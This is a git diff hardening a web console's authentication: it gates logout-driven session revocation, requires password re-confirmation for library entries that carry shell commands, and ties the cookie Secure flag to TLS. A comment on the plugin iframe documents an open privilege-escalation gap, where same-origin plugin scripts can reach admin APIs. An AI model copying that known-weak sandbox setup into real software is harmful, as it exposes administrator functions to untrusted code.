b/web/server/routes/_auth/logout.post.ts index 54dc4a8e..2ce5b0f3 100644 --- a/web/server/routes/_auth/logout.post.ts +++ b/web/server/routes/_auth/logout.post.ts @@ -4,16 +4,29 @@ // stayed valid for its whole 7-day TTL and "log out" logged nothing out. Bumping the epoch means // the gate rejects every cookie sealed before now. Single-user console, so "log out" and "sign out // everywhere" are the same action — which is the safer of the two to make the default. +// +// The global revocation is the part that needs authorizing. This route lives under `/_auth/`, which +// `isPublicPath` treats as public (the login form posts here), and the CSRF guard only fires when a +// `Sec-Fetch-Site` header is actually present — so an unauthenticated LAN peer with `curl` could +// bump the epoch on a loop and keep the operator permanently signed out of their own console +// (2026-08-05 review L-11). Revoking is now gated on holding a currently-valid session; clearing +// the CALLER's own cookie stays unconditional, because that affects nobody else and keeps a stale +// session's "log out" click behaving exactly as the user expects. import { defineEventHandler, useSession } from "h3"; import { revokeAllSessions, type SessionData, sessionConfig, + sessionEpoch, } from "../../util/auth"; export default defineEventHandler(async (event) => { const session = await useSession(event, sessionConfig()); + // Read the state BEFORE clearing — `clear()` wipes what we need to authorize the revocation. + const authenticated = + session.data.authenticated === true && + session.data.epoch === sessionEpoch(); await session.clear(); - revokeAllSessions(); + if (authenticated) revokeAllSessions(); return { ok: true }; }); diff --git a/web/server/routes/api/v1/library/custom.post.ts b/web/server/routes/api/v1/library/custom.post.ts new file mode 100644 index 00000000..50fb4fc7 --- /dev/null +++ b/web/server/routes/api/v1/library/custom.post.ts @@ -0,0 +1,18 @@ +// POST /api/v1/library/custom — creating a custom entry can install a command the host later runs +// as the host user (`prep`, or a `command` launch), so it joins hooks/update-apply/raw-install +// behind the console password when — and only when — the payload carries one of those fields. +// See util/libraryConfirm.ts for the reasoning; 2026-08-05 review M-6. +// +// Wins over the `/api/**` catch-all by h3 route specificity. +import { defineEventHandler, readBody } from "h3"; +import { forwardJson } from "../../../../util/forward"; +import { confirmIfCommandExecution } from "../../../../util/libraryConfirm"; + +export default defineEventHandler(async (event) => { + const body = await readBody>(event); + confirmIfCommandExecution(event, body, body?.password); + // Strip the confirmation before forwarding — the host has no such field and it must not leak + // upstream or into `library.json`. + const { password: _password, ...entry } = body ?? {}; + return forwardJson(event, "/api/v1/library/custom", "POST", entry); +}); diff --git a/web/server/routes/api/v1/library/custom/[id].put.ts b/web/server/routes/api/v1/library/custom/[id].put.ts new file mode 100644 index 00000000..fdbf657c --- /dev/null +++ b/web/server/routes/api/v1/library/custom/[id].put.ts @@ -0,0 +1,19 @@ +// PUT /api/v1/library/custom/{id} — same primitive and same gate as the create route: an UPDATE +// can install `prep` / a `command` launch just as well as a create can, and a gate that only +// covered create would be one PUT away from pointless. See util/libraryConfirm.ts; review M-6. +import { defineEventHandler, getRouterParam, readBody } from "h3"; +import { forwardJson } from "../../../../../util/forward"; +import { confirmIfCommandExecution } from "../../../../../util/libraryConfirm"; + +export default defineEventHandler(async (event) => { + const id = getRouterParam(event, "id") ?? ""; + const body = await readBody>(event); + confirmIfCommandExecution(event, body, body?.password); + const { password: _password, ...entry } = body ?? {}; + return forwardJson( + event, + `/api/v1/library/custom/${encodeURIComponent(id)}`, + "PUT", + entry, + ); +}); diff --git a/web/server/util/auth.ts b/web/server/util/auth.ts index 3d9aedca..5257eef4 100644 --- a/web/server/util/auth.ts +++ b/web/server/util/auth.ts @@ -174,9 +174,20 @@ export function sessionConfig(): SessionConfig { sameSite: "lax", path: "/", // h3 defaults Secure to true, which browsers DROP over plain http:// (so login - // silently fails on a LAN HTTP server). Only mark Secure when actually behind TLS - // (set PUNKTFUNK_UI_SECURE=1 / =true then). - secure: /^(1|true)$/i.test(process.env.PUNKTFUNK_UI_SECURE ?? ""), + // silently fails on a LAN HTTP server). Only mark Secure when actually behind TLS. + // + // Derived from whether TLS is CONFIGURED, not from `PUNKTFUNK_UI_SECURE` alone + // (2026-08-05 review L-20). The entry point already refuses the inverse mistake — + // `PUNKTFUNK_UI_SECURE` without TLS exits rather than serving a console whose cookie + // the browser will never store — but nothing caught this direction: TLS configured and + // the flag forgotten shipped a session cookie without `Secure`, which a browser will + // then also send over a plain-http downgrade. The env var still forces it on for a + // deploy terminating TLS in front of us (a reverse proxy), where this process sees no + // cert of its own. + secure: + (!!process.env.PUNKTFUNK_UI_TLS_CERT && + !!process.env.PUNKTFUNK_UI_TLS_KEY) || + /^(1|true)$/i.test(process.env.PUNKTFUNK_UI_SECURE ?? ""), }, }; } diff --git a/web/server/util/libraryConfirm.ts b/web/server/util/libraryConfirm.ts new file mode 100644 index 00000000..274c71c8 --- /dev/null +++ b/web/server/util/libraryConfirm.ts @@ -0,0 +1,47 @@ +// Shared password gate for the library writes that carry the SAME primitive `hooks.put.ts` gates. +// +// A custom library entry can carry `prep` (commands run before the title launches) and a +// `launch.kind === "command"` (a shell command run at launch). Both are executed verbatim as the +// host user — `/bin/sh -c` on Linux, `cmd.exe /c` on Windows — which is the very thing the hooks +// gate exists to stop a bare session cookie from doing: *"a 7-day session cookie must not be enough +// to leave a persistent command behind on the machine."* +// +// `confirm.ts` gated three routes and these were not among them, so the identical primitive fell +// through the ungated `/api/**` catch-all where the BFF attaches the admin bearer unconditionally +// (2026-08-05 review M-6). Anyone with a session cookie but not the password — a borrowed browser, +// an exfiltrated cookie, a stale 7-day session after a password rotation — could leave a command +// behind. `SameSite=lax` blocks a plain cross-site POST, so this is cookie possession rather than +// drive-by CSRF, but the invariant is the same one. +// +// The gate is CONDITIONAL on the payload actually carrying one of those fields. An ordinary library +// edit — title, artwork, platform, a `steam_appid` launch — is not code execution and prompting for +// it would only train the operator to type their password without reading it. Same reasoning as +// "a catalog install from an already-trusted source is deliberately NOT gated" in `confirm.ts`. +import type { H3Event } from "h3"; +import { confirmPassword } from "./confirm"; + +/** The shape the gate inspects; everything else about the entry is none of its business. */ +interface EntryLike { + prep?: unknown; + launch?: { kind?: unknown } | null; +} + +/** Does this entry carry a field the host will hand to a shell? */ +export function carriesCommandExecution(entry: EntryLike | null | undefined): boolean { + if (!entry || typeof entry !== "object") return false; + if (Array.isArray(entry.prep) && entry.prep.length > 0) return true; + return entry.launch?.kind === "command"; +} + +/** + * Re-verify the console password iff `entries` contains a command-execution field. Throws the same + * 401/429/503 `confirmPassword` does; returns normally when the gate does not apply. + */ +export function confirmIfCommandExecution( + event: H3Event, + entries: EntryLike | EntryLike[] | null | undefined, + password: unknown, +): void { + const list = Array.isArray(entries) ? entries : [entries]; + if (list.some(carriesCommandExecution)) confirmPassword(event, password); +} diff --git a/web/src/sections/Library/GameForm.tsx b/web/src/sections/Library/GameForm.tsx index 3ef460b5..a6c678fd 100644 --- a/web/src/sections/Library/GameForm.tsx +++ b/web/src/sections/Library/GameForm.tsx @@ -23,6 +23,10 @@ interface FormState { header: string; logo: string; command: string; + /** Console-password re-confirmation, required only when `command` is set — see the field's + * own comment at the render site (2026-08-05 review M-6). Never round-tripped from the + * server, so it is always empty on open, including when editing an entry that has one. */ + password: string; // Details — the flattened GameMeta fields; numbers and lists are kept as the raw // text the user typed and only parsed on submit. platform: string; @@ -43,6 +47,7 @@ const emptyForm: FormState = { header: "", logo: "", command: "", + password: "", platform: "", description: "", developer: "", @@ -62,6 +67,7 @@ function formFrom(entry: GameEntry): FormState { header: entry.art.header ?? "", logo: entry.art.logo ?? "", command: entry.launch?.kind === "command" ? entry.launch.value : "", + password: "", platform: entry.platform ?? "", description: entry.description ?? "", developer: entry.developer ?? "", @@ -104,6 +110,9 @@ function toInput(f: FormState): CustomInput { logo: trim(f.logo), }, launch: command ? { kind: "command", value: command } : null, + // The BFF re-verifies this and strips it before forwarding; the host never sees the field. + // Only sent when there is a command to authorize, matching the conditional gate. + ...(command ? { password: f.password } : {}), platform: trim(f.platform), description: trim(f.description), developer: trim(f.developer), @@ -208,6 +217,8 @@ export const GameForm: FC<{ e.preventDefault(); const data = toInput(form); if (!data.title) return; + // A command is code the host will run on its own; the password field is required with it. + if (form.command.trim() && !form.password) return; onSubmit(data); }; @@ -270,6 +281,22 @@ export const GameForm: FC<{ onChange={set("command")} help={m.library_field_command_help()} /> + {/* A launch command is a shell command the host runs as the host user, so saving + one clears the same bar as a hook or an unreviewed install: the console + password, not just a 7-day session cookie (2026-08-05 review M-6). Shown only + when there is a command to authorize — gating an ordinary title/art edit + would just train the operator to type it without reading. */} + {form.command.trim() && ( + + )}
{m.library_details_legend()}

{ className="w-full flex-1 rounded-lg border bg-card" // The plugin is operator-installed code on our own origin (no new trust boundary — // plugin-ui-surface §7.4); allow it to run scripts, forms, popups, and full-window. + // + // ⚠ KNOWN GAP — security-review-2026-08-05 H-3. `allow-same-origin` means plugin JS + // runs as first-party on the console origin, so it can `fetch('/api/**')` with the + // operator's session and the BFF attaches the ADMIN bearer — reaching everything + // `plugin_may_access` withholds (arm pairing, read the PIN, approve a device, read + // `/hooks`). The "open in new tab" link above is the same escalation without any + // iframe at all, so the sandbox attribute alone is not where this gets fixed. + // + // Simply dropping `allow-same-origin` does NOT work: a sandboxed document has an + // opaque origin, its subresource requests are then treated as cross-site, the + // `SameSite=Lax` `pf_session` cookie is not sent, and every plugin asset 302s to + // /login — a blank frame. The real fix is to serve `/plugin-ui/**` from a distinct + // ORIGIN (a second listener on another port: different origin so the same-origin + // policy is the boundary, but still the same *site*, so the cookie keeps flowing), + // which changes the console's listener/deploy model and needs on-glass validation. sandbox="allow-scripts allow-forms allow-popups allow-same-origin allow-modals" allow="fullscreen" /> diff --git a/web/src/stories/Library.stories.tsx b/web/src/stories/Library.stories.tsx index 003119aa..fba9c8bf 100644 --- a/web/src/stories/Library.stories.tsx +++ b/web/src/stories/Library.stories.tsx @@ -13,6 +13,9 @@ const emptyForm = { header: "", logo: "", command: "", + // The console-password confirmation the form requires alongside a launch command; empty here + // because the story renders the untouched add form, which has no command yet. + password: "", platform: "", description: "", developer: "",